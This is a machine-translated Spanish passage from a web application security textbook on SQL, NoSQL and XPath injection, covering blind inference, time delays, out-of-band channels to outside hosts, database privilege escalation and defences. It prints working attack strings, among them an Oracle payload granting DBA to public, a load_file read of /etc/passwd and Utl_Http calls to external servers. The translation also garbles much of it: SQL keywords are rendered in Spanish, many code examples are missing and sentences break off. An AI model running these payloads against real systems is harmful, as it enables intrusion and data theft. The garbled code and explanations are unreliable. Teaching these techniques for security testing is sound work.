Una forma fácil de evitar esto es sumergirse en la nueva funcionalidad provista en Oracle 11g y usar este código:
NOMBRE='SYS')||'.mdsec.net',80)
Machine Translated by Google
MySQL
El comando SELECT ... INTO OUTFILE se puede usar para dirigir la salida de una
consulta arbitraria a un archivo. El nombre de archivo especificado puede contener una
ruta UNC, lo que le permite dirigir la salida a un archivo en su propia computadora. Por ejemplo:
Para recibir el archivo, debe crear un recurso compartido SMB en su computadora que
permita el acceso de escritura anónimo. Puede configurar recursos compartidos en plataformas
basadas en Windows y UNIX para que se comporten de esta manera. Si tiene dificultades
para recibir el archivo exportado, esto puede deberse a un problema de configuración en su
servidor SMB. Puede usar un sniffer para confi rmar si el servidor de destino está iniciando
alguna conexión entrante a su computadora. Si es así, consulte la documentación de su
servidor para asegurarse de que esté configurado correctamente.
Suponga que no ha identificado ningún método para transmitir los resultados de sus
consultas inyectadas al navegador. Sin embargo, ya has visto cómo puedes usar la inyección
SQL para modificar el comportamiento de la aplicación.
Machine Translated by Google
Por ejemplo, enviar las siguientes dos entradas genera resultados muy diferentes:
administrador' Y 1=1--
administrador' Y 1=2--
Sin embargo, enviar la siguiente entrada da como resultado un inicio de sesión fallido, porque la
condición probada es falsa:
Al enviar una gran cantidad de consultas de este tipo, recorriendo el rango de códigos ASCII probables
para cada carácter hasta que se produzca un acierto, puede extraer la cadena completa, un byte a la vez.
En el ejemplo anterior, la aplicación contenía algunas funciones destacadas cuya lógica podía controlarse
directamente inyectándolas en una consulta SQL existente. El comportamiento diseñado de la aplicación
(un inicio de sesión exitoso frente a un inicio de sesión fallido) podría ser secuestrado para devolver un
solo elemento de información al atacante. Sin embargo, no todas las situaciones son tan sencillas. En
algunos casos, puede estar inyectando en una consulta que no tiene un efecto notable en el comportamiento
de la aplicación, como un mecanismo de registro. En otros casos, puede estar inyectando una subconsulta
o una consulta por lotes cuyos resultados no son procesados por la aplicación de ninguna manera.
En esta situación, es posible que tenga dificultades para encontrar una manera de causar una diferencia
detectable en el comportamiento que dependa de una condición específica.
David Litchfield ideó una técnica que se puede utilizar para desencadenar una diferencia detectable
en el comportamiento en la mayoría de las circunstancias. La idea central es inyectar una consulta que
induzca un error en la base de datos dependiendo de alguna condición específica. Cuando ocurre un error
en la base de datos, a menudo es detectable externamente, ya sea a través de un código de respuesta
HTTP 500 o mediante algún tipo de mensaje de error o comportamiento anómalo (incluso si el mensaje
de error en sí no revela ninguna información útil).
Machine Translated by Google
La técnica se basa en una característica del comportamiento de la base de datos al evaluar declaraciones
condicionales: la base de datos evalúa solo aquellas partes de la declaración que necesitan ser evaluadas dado
el estado de otras partes. Un ejemplo de este comportamiento es una instrucción SELECT que contiene una
cláusula WHERE :
SELECCIONE X DE Y DONDE C
Esto hace que la base de datos trabaje en cada fila de la tabla Y, evalúe la condición C y devuelva X en
aquellos casos en los que la condición C sea verdadera. Si la condición C nunca es verdadera, la expresión X
nunca se evalúa.
Este comportamiento se puede aprovechar encontrando una expresión X que sea
sintácticamente válida pero que genere un error si alguna vez se evalúa. Un ejemplo
de dicha expresión en Oracle y MS-SQL es un cálculo de división por cero, como 1/0.
Si la condición C alguna vez es verdadera, se evalúa la expresión X , lo que provoca un error en la base de datos.
Si la condición C siempre es falsa, no se genera ningún error. Por lo tanto, puede usar la presencia o ausencia de
un error para probar una condición arbitraria C.
Un ejemplo de esto es la siguiente consulta, que comprueba si existe el DBSNMP de
usuario predeterminado de Oracle . Si este usuario existe, se evalúa la expresión 1/0 ,
provocando un error:
SELECCIONE 1/0 DESDE dual DONDE (SELECCIONE nombre de usuario DESDE todos_usuarios DONDE nombre de usuario =
'DBSNMP') = 'DBSNMP'
SELECCIONE 1/0 DESDE dual DONDE (SELECCIONE nombre de usuario DESDE todos_usuarios DONDE nombre de usuario =
'AAAAAA') = 'AAAAAA'
Lo que logra esta técnica es una forma de inducir una respuesta condicional dentro de la aplicación, incluso
en los casos en que la consulta que está inyectando no tiene impacto en la lógica o el procesamiento de datos de
la aplicación. Por lo tanto, le permite utilizar las técnicas de inferencia descritas anteriormente para extraer datos
en una amplia gama de situaciones. Además, debido a la simplicidad de la técnica, las mismas cadenas de ataque
funcionarán en una variedad de bases de datos, y donde el punto de inyección está en varios tipos de
declaraciones SQL.
Esta técnica también es versátil porque se puede utilizar en todo tipo de puntos de inyección donde se puede
inyectar una subconsulta. Por ejemplo:
Considere una aplicación que proporcione contactos que se puedan buscar y clasificar.
base de datos. El usuario controla el departamento de parámetros y ordena:
/search.jsp?department=30&sort=ename
Machine Translated by Google
No es posible modificar la cláusula WHERE ni emitir una consulta UNION después de un ORDER
Cláusula BY ; sin embargo, un atacante puede crear una condición de inferencia emitiendo
la siguiente declaración:
/search.jsp?department=20&sort=(select%201/0%20from%20dual%20where%20
(select%20substr(max(object_name),1,1)%20FROM%20user_objects)='Y')
Si la primera letra del primer nombre de objeto en la tabla user_objects es igual a 'Y',
esto hará que la base de datos intente evaluar 1/0. Esto dará como resultado un error y
la consulta general no devolverá ningún resultado. Si la letra no es igual a 'Y', los
resultados de la consulta original se devolverán en el orden predeterminado.
Suministrando cuidadosamente esta condición a una herramienta de inyección SQL
como Absinthe o SQLMap, podemos recuperar cada registro en la base de datos.
Uso de retardos de
tiempo A pesar de todas las técnicas sofisticadas ya descritas, puede haber situaciones
en las que ninguno de estos trucos sea efectivo. En algunos casos, es posible que
pueda inyectar una consulta que no arroje resultados al navegador, que no se pueda
usar para abrir un canal fuera de banda y que no tenga ningún efecto en el
comportamiento de la aplicación, incluso si induce un error dentro la propia base de datos.
En esta situación, no todo está perdido, gracias a una técnica inventada por Chris
Anley y Sherief Hammad de NGSSoftware. Idearon una forma de elaborar una consulta
que provocaría un retraso de tiempo, dependiendo de alguna condición especificada
por el atacante. El atacante puede enviar su consulta y luego controlar el tiempo que
tarda el servidor en responder. Si se produce un retraso, el atacante puede inferir que
la condición es verdadera. Incluso si el contenido real de la respuesta de la aplicación
es idéntico en los dos casos, la presencia o ausencia de un retraso de tiempo permite
al atacante extraer un solo bit de información de la base de datos. Al realizar numerosas
consultas de este tipo, el atacante puede recuperar sistemáticamente datos
arbitrariamente complejos de la base de datos, un bit a la vez.
Los medios precisos para inducir un retraso de tiempo adecuado dependen de la base de
datos de destino que se utilice. MS-SQL contiene un comando WAITFOR incorporado , que se
puede usar para provocar un retraso de tiempo específico. Por ejemplo, la siguiente consulta
provoca un retraso de 5 segundos si el usuario actual de la base de datos es sa:
Como antes, el atacante puede recorrer todos los valores posibles para cada carácter hasta que se
produzca un retraso de tiempo. Alternativamente, el ataque podría hacerse más eficiente al reducir la
cantidad de solicitudes necesarias. Una técnica adicional es dividir cada byte de datos en bits individuales
y recuperar cada bit en una sola consulta. El comando POWER y el operador AND bit a bit & se pueden
usar para especificar condiciones bit por bit. Por ejemplo, la siguiente consulta prueba el primer bit del
primer byte de los datos capturados y se detiene si es 1:
Como se mencionó anteriormente, los medios para inducir un retraso de tiempo dependen en gran
medida de la base de datos. En las versiones actuales de MySQL, la función de suspensión se puede
usar para crear un retraso de tiempo para un número específico de milisegundos:
seleccione si (usuario () como 'raíz @%', punto de referencia (50000, sha1 ('prueba')), 'falso')
conectarse a un servidor inexistente, provocando un tiempo de espera. Esto hace que la base
de datos intente conectarse al servidor especificado y, finalmente, se agote el tiempo de espera.
Por ejemplo:
En las bases de datos Oracle y MySQL, puede usar las funciones SUBSTR(ING)
y ASCII para recuperar información arbitraria byte a byte, como se describió
anteriormente.
SUGERENCIA Hemos descrito el uso de retardos de tiempo como un medio para extraer
información interesante. Sin embargo, la técnica de retardo de tiempo también puede
ser inmensamente útil al realizar el sondeo inicial de una aplicación para detectar
vulnerabilidades de inyección SQL. En algunos casos de inyección SQL completamente
ciega, donde no se devuelven resultados al navegador y todos los errores se manejan de
manera invisible, la vulnerabilidad en sí puede ser difícil de detectar utilizando técnicas
estándar basadas en el suministro de información manipulada. En esta situación, el uso de
retardos de tiempo suele ser la forma más confiable de detectar la presencia de una
vulnerabilidad durante el sondeo inicial. Por ejemplo, si la base de datos de back-end es MS-
SQL, puede inyectar cada una de las siguientes cadenas en cada parámetro de solicitud y
controlar cuánto tarda la aplicación en identificar cualquier vulnerabilidad:
¡INTENTALO!
http://mdsec.net/libro de direcciones/44/
Machine Translated by Google
Una explotación exitosa de una vulnerabilidad de inyección SQL a menudo da como resultado el
compromiso total de todos los datos de la aplicación. La mayoría de las aplicaciones emplean una sola
cuenta para todo el acceso a la base de datos y se basan en controles de capa de aplicación para imponer
la segregación de acceso entre diferentes usuarios. Obtener el uso sin restricciones de la cuenta de la
base de datos de la aplicación da como resultado el acceso a todos sus datos.
Puede suponer, por lo tanto, que poseer todos los datos de la aplicación es el punto final de un ataque
de inyección SQL. Sin embargo, hay muchas razones por las que podría ser productivo avanzar más en
su ataque, ya sea explotando una vulnerabilidad dentro de la propia base de datos o aprovechando
algunas de sus funciones integradas para lograr sus objetivos. Otros ataques que se pueden realizar
escalando el ataque a la base de datos incluyen los siguientes:
n Si la base de datos se comparte con otras aplicaciones, es posible que pueda escalar
los privilegios dentro de la base de datos y obtener acceso a los datos de otras
aplicaciones. n Es posible que pueda comprometer el sistema operativo del servidor de la
base de datos. n Es posible que pueda obtener acceso a la red a otros sistemas. Por lo
general, el servidor de la base de datos está alojado en una red protegida detrás de
varias capas de defensas perimetrales de la red. Desde el servidor de la base de datos,
es posible que esté en una posición de confianza y pueda acceder a servicios clave en
otros hosts, que pueden explotarse aún más.
n Es posible que pueda volver a realizar conexiones de red fuera de la infraestructura de
alojamiento a su propia computadora. Esto puede permitirle eludir la aplicación,
transmitir fácilmente grandes cantidades de datos confidenciales recopilados de la
base de datos y, a menudo, evadir muchos sistemas de detección de intrusos. n Es
posible que pueda ampliar la funcionalidad existente de la base de datos de forma
arbitraria mediante la creación de funciones definidas por el usuario. En algunas
situaciones, esto puede permitirle eludir el endurecimiento que se ha realizado en la
base de datos mediante la reimplementación efectiva de la funcionalidad que se ha eliminado o deshabilita
Hay un método para hacer esto en cada una de las bases de datos principales, siempre que haya
obtenido privilegios de administrador de base de datos (DBA).
MITO COMÚN
Atacar bases de datos es un tema enorme que está más allá del alcance de este libro.
Esta sección le indica algunas formas clave en las que se pueden aprovechar las
vulnerabilidades y la funcionalidad dentro de los principales tipos de bases de datos para escalar su ataque.
La conclusión clave a sacar es que cada base de datos contiene formas de escalar privilegios.
La aplicación de parches de seguridad actuales y un endurecimiento sólido pueden ayudar a
mitigar muchos de estos ataques, pero no todos. Para leer más sobre esta fructífera área de
investigación actual, recomendamos The Database Hacker's Handbook (Wiley, 2005).
MS SQL
Quizás la parte más notoria de la funcionalidad de la base de datos que un atacante puede hacer
mal uso es el procedimiento almacenado xp_cmdshell , que está integrado en MS-SQL de forma
predeterminada. Este procedimiento almacenado permite a los usuarios con permisos de DBA
ejecutar comandos del sistema operativo de la misma manera que el símbolo del sistema cmd.exe .
Por ejemplo:
Oráculo
seleccione SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH',
'TEXTINDEXMETHODS”.ODCIIndexUtilCleanup(:p1); ejecute inmediatamente ''declare pragma
Autonomous_transaction; comience a ejecutar inmediatamente ''''grant dba to public'''' ; fin ;'';
FIN;--','CTXSYS',1,'1',0) de dual
Este tipo de ataque podría entregarse a través de una falla de inyección SQL en una aplicación web.
catión inyectando la función en el parámetro vulnerable.
Además de vulnerabilidades reales como estas, Oracle también contiene una gran
cantidad de funciones predeterminadas. Es accesible para usuarios con pocos privilegios y
se puede utilizar para realizar acciones no deseadas, como iniciar conexiones de red o
acceder al sistema de archivos. Además de los poderosos paquetes ya descritos para crear
conexiones fuera de banda, el paquete UTL_FILE se puede usar para leer y escribir archivos
en el sistema de archivos del servidor de la base de datos.
En 2010, David Litchfield demostró cómo se puede abusar de Java en Oracle 10g R2 y
11g para ejecutar comandos del sistema operativo. Este ataque explota primero una falla en
DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY para otorgar al usuario actual el permiso
java.io.filepermission. Luego, el ataque ejecuta una clase de Java (oracle/aurora/util/
Wrapper) que ejecuta un comando del sistema operativo, utilizando DBMS_JAVA.
RUNJAVA. Por ejemplo:
n www.databasesecurity.com/HackingAurora.pdf
n www.notsosecure.com/folder2/2010/08/02/blackhat-2010/
Machine Translated by Google
mysql
En comparación con las otras bases de datos cubiertas, MySQL contiene una funcionalidad integrada
relativamente pequeña que un atacante puede hacer mal uso. Un ejemplo es la capacidad de cualquier
usuario con el permiso FILE_PRIV para leer y escribir en el sistema de archivos.
El comando LOAD_FILE se puede utilizar para recuperar el contenido de cualquier archivo. Por
ejemplo:
seleccione cargar_archivo('/etc/passwd')
El comando SELECT ... INTO OUTFILE se puede usar para canalizar los resultados de
cualquier consulta en un archivo. Por ejemplo:
Además de leer y escribir archivos clave del sistema operativo, esta capacidad
se puede utilizar para realizar otros ataques:
n Debido a que MySQL almacena sus datos en archivos de texto sin formato, a los que la base de
datos debe tener acceso de lectura, un atacante con permisos FILE_PRIV puede simplemente
abrir el archivo relevante y leer datos arbitrarios desde dentro de la base de datos, pasando por
alto cualquier control de acceso aplicado dentro de la propia base de datos. . n MySQL permite a
los usuarios crear funciones definidas por el usuario (UDF) llamando a un archivo de biblioteca
compilado que contiene la implementación de la función.
Este archivo debe ubicarse dentro de la ruta normal desde la cual MySQL carga las bibliotecas
dinámicas. Un atacante puede usar el método anterior para crear un archivo binario arbitrario
dentro de esta ruta y luego crear una UDF que lo use. Consulte el artículo de Chris Anley
“Hackproofi ng MySQL” para obtener más detalles sobre esta técnica.
Muchas de las técnicas que hemos descrito para explotar las capacidades de las vulnerabilidades de
inyección SQL implican realizar un gran número de solicitudes para extraer pequeñas cantidades de
datos a la vez. Afortunadamente, hay numerosas herramientas disponibles que automatizan gran parte
de este proceso y que conocen la sintaxis específica de la base de datos requerida para lanzar ataques
exitosos.
La mayoría de las herramientas actualmente disponibles utilizan el siguiente enfoque para explotar
Vulnerabilidades de inyección SQL:
n Aplicar fuerza bruta a todos los parámetros en la solicitud de destino para localizar la inyección de SQL
puntos.
Machine Translated by Google
columnas requeridas y luego identificando una columna con el tipo de datos varchar , que se
puede usar para devolver resultados.
resultados mediante UNION, inyecte condiciones booleanas (AND 1=1, AND 1=2, etc.) en
la consulta para determinar si se pueden usar respuestas condicionales para recuperar
datos.
Estas herramientas localizan datos consultando las tablas de metadatos relevantes para la
base de datos en cuestión. Por lo general, pueden realizar algún nivel de escalamiento, como
usar xp_cmdshell para obtener acceso al nivel del sistema operativo. También usan varias
técnicas de optimización, haciendo uso de las muchas características y funciones integradas
en las diversas bases de datos para disminuir la cantidad de consultas necesarias en un ataque
de fuerza bruta basado en inferencias, evadir filtros potenciales en comillas simples y más.
PASOS DE HACK
Cuando haya identificado una vulnerabilidad de inyección de SQL mediante las técnicas
descritas anteriormente en este capítulo, puede considerar el uso de una herramienta de inyección
de SQL para explotar la vulnerabilidad y recuperar datos interesantes de la base de datos. Esta
opción es especialmente útil en los casos en los que necesita utilizar técnicas ciegas para
recuperar una pequeña cantidad de datos a la vez.
Continuado
Machine Translated by Google
en el
Galleta
[14:54:40] [INFO] probando si la url es estable, espere unos segundos
[14:54:44] [INFO] URL estable
[14:54:44] [INFO] probando la inyección de sql en el parámetro GET 'Empno' con 0 paréntesis
[14:55:00] [INFO] llamando al shell de Oracle. Para salir, escriba 'x' o 'q' y
presione ENTER
sql-shell> seleccione banner de v$version ¿quiere recuperar la salida
de la declaración SQL? [T/n]
[14:55:19] [INFO] obteniendo el resultado de consulta de la instrucción SQL SELECT: 'seleccionar banner de v$version'
seleccionar banner de v$version [5]: Producción
sql-shell>
Machine Translated by Google
Sintaxis SQL
Oráculo: Utl_Http.request('http://madeupserver.com')
SELECCIONE @@nombreservidor
Requisito: Mostrar todas las tablas y columnas en una sola columna de resultados
Continuado
Machine Translated by Google
(continuado)
O para mostrar todas las tablas a las que el usuario tiene acceso:
Traducción: para Oracle y MS-SQL, la inyección de SQL está presente, ¡y es casi seguro que es
explotable! Si ingresó una comilla simple y modificó la sintaxis de la consulta
de la base de datos, este es el error que esperaría. Para MySQL, la inyección de
SQL puede estar presente, pero el mismo mensaje de error puede aparecer en
otros contextos.
mysql: N/A
Todas las consultas en una instrucción SQL que contenga un operador UNION
deben tener el mismo número de expresiones en sus listas de destino.
Traducción: Verá esto cuando intente un ataque UNION SELECT, y haya especificado un número
de columnas diferente al número en la instrucción SELECT original.
Oráculo: ORA-01790: la expresión debe tener el mismo tipo de datos que la expresión
correspondiente
Error de sintaxis al convertir el valor varchar 'foo' en una columna de tipo de datos
int.
Traducción: verá esto cuando intente un ataque UNION SELECT y haya especificado un tipo de
datos diferente al que se encuentra en la declaración SELECT original. Intente
usar un NULL, o use 1 o 2000.
Continuado
Machine Translated by Google
(continuado)
Error de sintaxis al convertir el valor varchar 'foo' en una columna de tipo de datos
int.
Traducción: su entrada no coincide con el tipo de datos esperado para el campo. Es posible que
tenga una inyección de SQL y es posible que no necesite una comilla simple,
así que simplemente intente ingresar un número seguido de su SQL para inyectar.
En MS-SQL, debería poder devolver cualquier valor de cadena con este mensaje
de error.
MS SQL: N/A
mysql: N/A
SELECCIONA 1
Pero en Oracle, si desea devolver algo, debe seleccionar de una tabla. La mesa
DUAL funcionará bien:
SELECCIONE 1 de DUAL
MS SQL: Mensaje 156, Nivel 15, Estado 1, Línea 1 Sintaxis incorrecta cerca de la palabra
clave 'de'.
Traducción: comúnmente ve este mensaje de error cuando su punto de inyección ocurre antes de
la palabra clave FROM (por ejemplo, ha inyectado en las columnas que se
devolverán) y/o ha utilizado el carácter de comentario para eliminar las palabras
clave de SQL requeridas. Intente completar la declaración SQL usted mismo mientras
usa su carácter de comentario. MySQL debería revelar los nombres de las columnas
XXX, YYY cuando se encuentra esta condición.
Machine Translated by Google
mysql: N/A
Traducción: Esto no indica inyección de SQL. Es posible que vea este mensaje de error si ha
ingresado una cadena larga. Es poco probable que obtenga un búfer desbordado
aquí tampoco, porque la base de datos está manejando su entrada de manera segura.
Traducción: Está intentando acceder a una tabla o vista que no existe o, en el caso de Oracle,
el usuario de la base de datos no tiene privilegios para la tabla o vista. Pruebe su
consulta con una tabla a la que sabe que tiene acceso, como DUAL. MySQL
debería revelar útilmente el esquema de base de datos actual DBNAME cuando
se encuentra esta condición.
MS SQL: N/A
Traducción: su intento de inyección SQL ha funcionado, pero el punto de inyección estaba entre
paréntesis. Probablemente comentó la tesis de paréntesis de cierre con
caracteres de comentario inyectados (--).
Continuado
Machine Translated by Google
(continuado)
mysql: Tiene un error en su sintaxis SQL. Consulte el manual que corresponde a la versión
de su servidor MySQL para conocer la sintaxis correcta para usar cerca de XXXXXX
Traducción: un mensaje de error general. Todos los mensajes de error enumerados anteriormente tienen
prioridad, por lo que algo más salió mal. Es probable que pueda probar una entrada
alternativa y obtener un mensaje más significativo.
MS SQL: N/A
mysql: N/A
Traducción: ha intentado realizar una acción que Oracle no permite. Esto puede suceder si estaba tratando
de mostrar la cadena de versión de la base de datos desde v$version pero estaba en
una consulta ACTUALIZAR o INSERTAR.
MS SQL: N/A
mysql: N/A
Traducción: probablemente estaba tratando de editar una vista de SISTEMA. Esto puede pasar
pen si estaba tratando de mostrar la cadena de la versión de la base de datos de
v$version pero estaba en una consulta ACTUALIZAR o INSERTAR.
A pesar de todas sus diferentes manifestaciones y las complejidades que pueden surgir en su
explotación, la inyección de SQL es, en general, una de las vulnerabilidades más fáciles de prevenir.
Sin embargo, la discusión sobre las contramedidas de inyección de SQL suele ser
engañosa , y muchas personas confían en medidas defensivas que solo son parcialmente efectivas.
Otra contramedida que se cita a menudo es el uso de procedimientos almacenados para todos los
accesos a bases de datos. No hay duda de que los procedimientos almacenados personalizados
pueden brindar beneficios de seguridad y rendimiento. Sin embargo, no se garantiza que eviten las
vulnerabilidades de inyección SQL por dos razones:
n Como vio en el caso de Oracle, un procedimiento almacenado mal escrito puede contener
vulnerabilidades de inyección SQL dentro de su propio código. Problemas de seguridad
similares surgen cuando se construyen sentencias SQL dentro de procedimientos almacenados
que surgen en otros lugares. El hecho de que se esté utilizando un procedimiento almacenado
no evita que se produzcan fallos. n Incluso si se utiliza un procedimiento almacenado sólido,
Esta sentencia puede ser tan vulnerable como una simple sentencia INSERT .
Por ejemplo, un atacante puede proporcionar la siguiente contraseña:
Consultas parametrizadas
La mayoría de las bases de datos y las plataformas de desarrollo de aplicaciones proporcionan API
para manejar entradas que no son de confianza de manera segura, lo que evita que surjan
vulnerabilidades de inyección SQL. En consultas parametrizadas (también conocidas como sentencias
preparadas), la construcción de una sentencia SQL que contiene la entrada del usuario se realiza en dos pasos:
//ejecutar la consulta
sentencia = con.createStatement();
rs = stmt.executeQuery(queryText);
//agregue la entrada del usuario a la variable 1 (en el primer marcador de posición ?) stmt.setString(1,
request.getParameter(“nombre”));
//ejecutar la consulta
rs = sentencia.executeQuery();
NOTA Los métodos precisos y la sintaxis para crear consultas parametrizadas difieren
entre las bases de datos y las plataformas de desarrollo de aplicaciones. Consulte el
Capítulo 18 para obtener más detalles sobre los ejemplos más comunes.
Machine Translated by Google
Si las consultas parametrizadas van a ser una solución efectiva contra la inyección de
SQL, debe tener en cuenta varias condiciones importantes:
n Deben usarse para cada consulta de la base de datos. Los autores se han encontrado
con muchas aplicaciones en las que los desarrolladores hacían un juicio en cada
caso sobre si utilizar una consulta parametrizada. En los casos en que claramente se
estaba utilizando la entrada proporcionada por el usuario, lo hicieron; de lo contrario,
no se molestaron. Este enfoque ha sido la causa de muchos errores de inyección SQL.
En primer lugar, al centrarse solo en la entrada que se ha recibido inmediatamente del usuario,
es fácil pasar por alto los ataques de segundo orden, porque se supone que los datos que ya
se han procesado son fiables. En segundo lugar, es fácil cometer errores sobre los casos
específicos en los que los datos que se manejan son controlables por el usuario. En una
aplicación grande, diferentes elementos de datos se mantienen dentro de la sesión o se reciben
del cliente. Las suposiciones hechas por un desarrollador no se pueden comunicar a otros. El
manejo de elementos de datos específi cos puede cambiar en el futuro, introduciendo una falla
de inyección SQL en consultas previamente seguras. Es mucho más seguro adoptar el enfoque
de exigir el uso de consultas parametrizadas en toda la aplicación. n Todos los datos insertados
en la consulta deben estar debidamente parametrizados.
Los autores han encontrado numerosos casos en los que la mayoría de los parámetros de una
consulta se manejan de forma segura, pero uno o dos elementos se concatenan directamente
en la cadena utilizada para especificar la estructura de la consulta. El uso de consultas
parametrizadas no evitará la inyección de SQL si algunos parámetros se manejan de esta
manera.
n Los marcadores de posición de parámetros no se pueden usar para especificar los nombres de
tabla y columna usados en la consulta. En algunos casos excepcionales, las aplicaciones
deben especificar estos elementos dentro de una consulta SQL en función de los datos
proporcionados por el usuario. En esta situación, el mejor enfoque es utilizar una lista blanca
de buenos valores conocidos (la lista de tablas y columnas realmente utilizadas en la base de
datos) y rechazar cualquier entrada que no coincida con un elemento de esta lista. De lo
contrario, se debe aplicar una validación estricta en la entrada del usuario; por ejemplo, permitir
solo caracteres alfanuméricos, excluir espacios en blanco y aplicar un límite de longitud
adecuado. n Los marcadores de posición de parámetros no se pueden usar para ninguna otra
parte de la consulta, como las palabras clave ASC o DESC que aparecen dentro de una cláusula
ORDER BY , o cualquier otra palabra clave SQL, ya que forman parte de la estructura de la
consulta.
Al igual que con los nombres de tablas y columnas, si es necesario especificar estos elementos
en función de los datos proporcionados por el usuario, se debe aplicar una validación rigurosa
de la lista blanca para evitar ataques.
Machine Translated by Google
Defensa en profundidad
n La aplicación debe utilizar el nivel de privilegios más bajo posible al acceder a la base de datos.
En general, la aplicación no necesita permisos de nivel DBA. Por lo general, solo necesita leer y
escribir sus propios datos. En situaciones críticas para la seguridad, la aplicación puede emplear
una cuenta de base de datos diferente para realizar diferentes acciones. Por ejemplo, si el 90
por ciento de sus consultas a la base de datos requieren solo acceso de lectura, se pueden
realizar con una cuenta que no tenga privilegios de escritura. Si una consulta particular necesita
leer solo un subconjunto de datos (por ejemplo, la tabla de pedidos pero no la tabla de cuentas
de usuario), se puede usar una cuenta con el nivel de acceso correspondiente. Si este enfoque
se aplica en toda la aplicación, es probable que cualquier falla residual de inyección de SQL que
pueda existir tenga un impacto significativamente reducido. n Muchas bases de datos
empresariales incluyen una gran cantidad de funciones predeterminadas que pueden ser
aprovechadas por un atacante que obtiene la capacidad de ejecutar sentencias SQL arbitrarias.
Siempre que sea posible, las funciones innecesarias deben eliminarse o desactivarse. Aunque hay
casos en los que un atacante habilidoso y determinado puede recrear algunas funciones
requeridas a través de otros medios, esta tarea no suele ser sencilla, y el fortalecimiento de la
base de datos seguirá poniendo obstáculos significativos en el camino del atacante.
n Todos los parches de seguridad emitidos por los proveedores deben evaluarse, probarse y
aplicarse de manera oportuna para corregir las vulnerabilidades conocidas dentro del propio
software de la base de datos. En situaciones críticas para la seguridad, los administradores de
bases de datos pueden usar varios servicios basados en suscriptores para obtener notificaciones
anticipadas de algunas vulnerabilidades conocidas que aún no han sido parcheadas por el
proveedor. Pueden implementar medidas alternativas apropiadas en el ínterin.
Inyectando en NoSQL
El término NoSQL se utiliza para referirse a varios almacenes de datos que se apartan de las
arquitecturas de bases de datos relacionales estándar. Los almacenes de datos NoSQL representan
datos mediante asignaciones de clave/valor y no se basan en un esquema fijo como una tabla de base
de datos convencional. Las claves y los valores se pueden definir arbitrariamente, y el formato del valor
generalmente no es relevante para el almacén de datos. Otra característica del almacenamiento de
clave/valor es que un valor puede ser una estructura de datos en sí mismo, lo que permite el
almacenamiento jerárquico, a diferencia de la estructura de datos plana dentro de un esquema de base de datos.
Machine Translated by Google
Los defensores de NoSQL afirman que esto tiene varias ventajas, principalmente en el manejo de
conjuntos de datos muy grandes, donde la estructura jerárquica del almacén de datos se puede optimizar
exactamente según sea necesario para reducir la sobrecarga en la recuperación de conjuntos de datos. En
estos casos, una base de datos convencional puede requerir complejas referencias cruzadas de tablas para
recuperar información en nombre de una aplicación.
Desde la perspectiva de la seguridad de las aplicaciones web, la consideración clave es cómo la
aplicación consulta los datos, porque esto determina qué formas de inyección son posibles. En el caso de
la inyección de SQL, el lenguaje SQL es muy similar en diferentes productos de bases de datos. NoSQL,
por el contrario, es un nombre que se le da a una variedad dispar de almacenes de datos, todos con sus
propios comportamientos. No todos utilizan un único lenguaje de consulta.
Estos son algunos de los métodos de consulta comunes utilizados por los almacenes de datos NoSQL:
n Búsqueda de clave/valor n
Inyectando en MongoDB
Muchas bases de datos NoSQL utilizan lenguajes de programación existentes para proporcionar un
mecanismo de consulta flexible y programable. Si las consultas se crean mediante la concatenación de
cadenas, un atacante puede intentar salir del contexto de los datos y alterar la sintaxis de la consulta.
Considere el siguiente ejemplo, que realiza un inicio de sesión basado en registros de usuario en un
almacén de datos de MongoDB:
si (isset($obj[“uid”]))
{
$logged_in=1;
Machine Translated by Google
}
más
{
$logged_in=0;
}
Marco'//
Inyectando en XPath
XML Path Language (XPath) es un lenguaje interpretado que se utiliza para
navegar por documentos XML y recuperar datos de ellos. En la mayoría de los
casos, una expresión XPath representa una secuencia de pasos necesarios
para navegar de un nodo de un documento a otro.
Cuando las aplicaciones web almacenan datos dentro de documentos XML, pueden usar XPath para
acceder a los datos en respuesta a la entrada proporcionada por el usuario. Si esta entrada se inserta en la
consulta XPath sin ningún tipo de filtrado o saneamiento, un atacante puede manipular la consulta para
interferir con la lógica de la aplicación o recuperar datos para los que no está autorizado.
Los documentos XML generalmente no son un vehículo preferido para almacenar datos empresariales.
Sin embargo, se utilizan con frecuencia para almacenar datos de configuración de aplicaciones que pueden
recuperarse sobre la base de la entrada del usuario. También pueden ser utilizados por aplicaciones más
pequeñas para conservar información simple, como las credenciales, los roles y los privilegios de los usuarios.
Machine Translated by Google
<libro de direcciones>
<dirección>
<primerNombre>Guillermo</primerNombre>
<apellido>Puertas</apellido>
<contraseña>MSRocks!</contraseña> <correo
electrónico>[email protected]</correo electrónico>
<ccard>5130 8190 3282 3515</ccard>
</dirección>
<dirección>
<firstName>Chris</firstName>
<apellido>Dawes</apellido>
<contraseña>secreto</contraseña> <correo
electrónico>[email protected]</correo electrónico>
<ccard>3981 2491 3242 3121</ccard>
</dirección>
<dirección>
<firstName>James</firstName>
<apellido>Cazador</apellido>
<contraseña>déjame entrar</contraseña>
<correo electrónico>[email protected]</correo electrónico>
<ccard>8113 5320 8014 3313</ccard>
</dirección>
</libro de direcciones>
Una consulta XPath para recuperar todas las direcciones de correo electrónico se vería así:
//dirección/correo electrónico/texto()
Una consulta para devolver todos los detalles del usuario Dawes se vería así:
//dirección[apellido/texto()='Dawes']
En algunas aplicaciones, los datos proporcionados por el usuario pueden incorporarse directamente
en consultas XPath y los resultados de la consulta pueden devolverse en la respuesta de la aplicación
o utilizarse para determinar algún aspecto del comportamiento de la aplicación.
//dirección[apellido/texto()='Dawes' y contraseña/texto()='secreto']/ccard/
texto()
Machine Translated by Google
En este caso, un atacante puede subvertir la consulta de la aplicación de forma idéntica a una falla de
inyección SQL. Por ejemplo, proporcionando una contraseña con este valor:
' o 'a'='a
da como resultado la siguiente consulta XPath, que recupera los detalles de la tarjeta de crédito de todos
los usuarios:
NOTA
n Al igual que con la inyección SQL, no se requieren comillas simples cuando se inyecta en un valor
numérico.
n A diferencia de las consultas SQL, las palabras clave en las consultas XPath distinguen entre mayúsculas y
minúsculas, al igual que los nombres de los elementos en el propio documento XML.
da como resultado la siguiente consulta XPath, que devuelve resultados si el primer carácter de la
contraseña del usuario de Gates es M:
¡INTENTALO!
http://mdsec.net/cclookup/14/
Por ejemplo, puede usar la técnica de subcadena descrita anteriormente para extraer el nombre
del padre del nodo actual proporcionando una serie de contraseñas de esta forma:
